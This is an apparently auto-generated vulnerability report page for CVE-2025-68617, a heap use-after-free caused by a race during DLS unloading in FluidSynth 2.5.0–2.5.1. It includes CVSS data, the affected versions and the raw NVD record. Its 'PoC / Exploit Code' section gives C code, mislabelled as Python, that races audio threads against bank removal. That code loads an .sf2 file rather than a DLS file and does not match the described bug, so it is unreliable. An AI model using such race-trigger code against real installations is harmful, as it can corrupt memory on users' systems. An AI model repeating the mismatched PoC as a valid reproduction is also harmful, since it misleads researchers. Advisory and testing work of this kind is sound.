Security Vulnerability Report
中文
CVE-2025-68617 CVSS 7.0 HIGH

CVE-2025-68617

Published: 2025-12-23 23:15:45
Last Modified: 2026-01-15 02:01:39

Description

FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From versions 2.5.0 to before 2.5.2, a race condition during unloading of a DLS file can trigger a heap-based use-after-free. A concurrently running thread may be pending to unload a DLS file, leading to use of freed memory, if the synthesizer is being concurrently destroyed, or samples of the (unloaded) DLS file are concurrently used to synthesize audio. This issue has been patched in version 2.5.2. The problem will not occur, when explicitly unloading a DLS file (before synth destruction), provided that at the time of unloading, no samples of the respective file are used by active voices. The problem will not occur in versions of FluidSynth that have been compiled without native DLS support.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fluidsynth:fluidsynth:*:*:*:*:*:*:*:* - VULNERABLE
FluidSynth 2.5.0
FluidSynth 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <fluidsynth.h> #include <pthread.h> #include <unistd.h> fluid_synth_t* synth = NULL; fluid_settings_t* settings = NULL; int running = 1; void* audio_thread(void* arg) { while(running) { if(synth) { fluid_synth_noteon(synth, 0, 60, 127); usleep(1000); } } return NULL; } void* unload_thread(void* arg) { sleep(1); if(synth) { fluid_synth_remove_bank(synth, 0); } return NULL; } int main() { pthread_t t1, t2; settings = new_fluid_settings(); fluid_settings_setstr(settings, "audio.driver", "pulseaudio"); synth = new_fluid_synth(settings); fluid_synth_load_sfont(synth, "malicious_sfont.sf2"); pthread_create(&t1, NULL, audio_thread, NULL); pthread_create(&t2, NULL, unload_thread, NULL); sleep(3); running = 0; pthread_join(t1, NULL); pthread_join(t2, NULL); delete_fluid_synth(synth); delete_fluid_settings(settings); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68617", "sourceIdentifier": "[email protected]", "published": "2025-12-23T23:15:44.757", "lastModified": "2026-01-15T02:01:38.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From versions 2.5.0 to before 2.5.2, a race condition during unloading of a DLS file can trigger a heap-based use-after-free. A concurrently running thread may be pending to unload a DLS file, leading to use of freed memory, if the synthesizer is being concurrently destroyed, or samples of the (unloaded) DLS file are concurrently used to synthesize audio. This issue has been patched in version 2.5.2. The problem will not occur, when explicitly unloading a DLS file (before synth destruction), provided that at the time of unloading, no samples of the respective file are used by active voices. The problem will not occur in versions of FluidSynth that have been compiled without native DLS support."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fluidsynth:fluidsynth:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.5.2", "matchCriteriaId": "2FC707E6-47FF-47FE-83A7-B93AA1364D07"}]}]}], "references": [{"url": "https://github.com/FluidSynth/fluidsynth/commit/685e54cdc44911ace31774260bd0c9ec89887491", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FluidSynth/fluidsynth/commit/962b9946b5cb6b16f0c08b89dd1b7016d4fce886", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FluidSynth/fluidsynth/issues/1717", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/FluidSynth/fluidsynth/issues/1728", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/FluidSynth/fluidsynth/security/advisories/GHSA-ffw2-xvvp-39ch", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/FluidSynth/fluidsynth/issues/1717", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/FluidSynth/fluidsynth/issues/1728", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking"]}]}}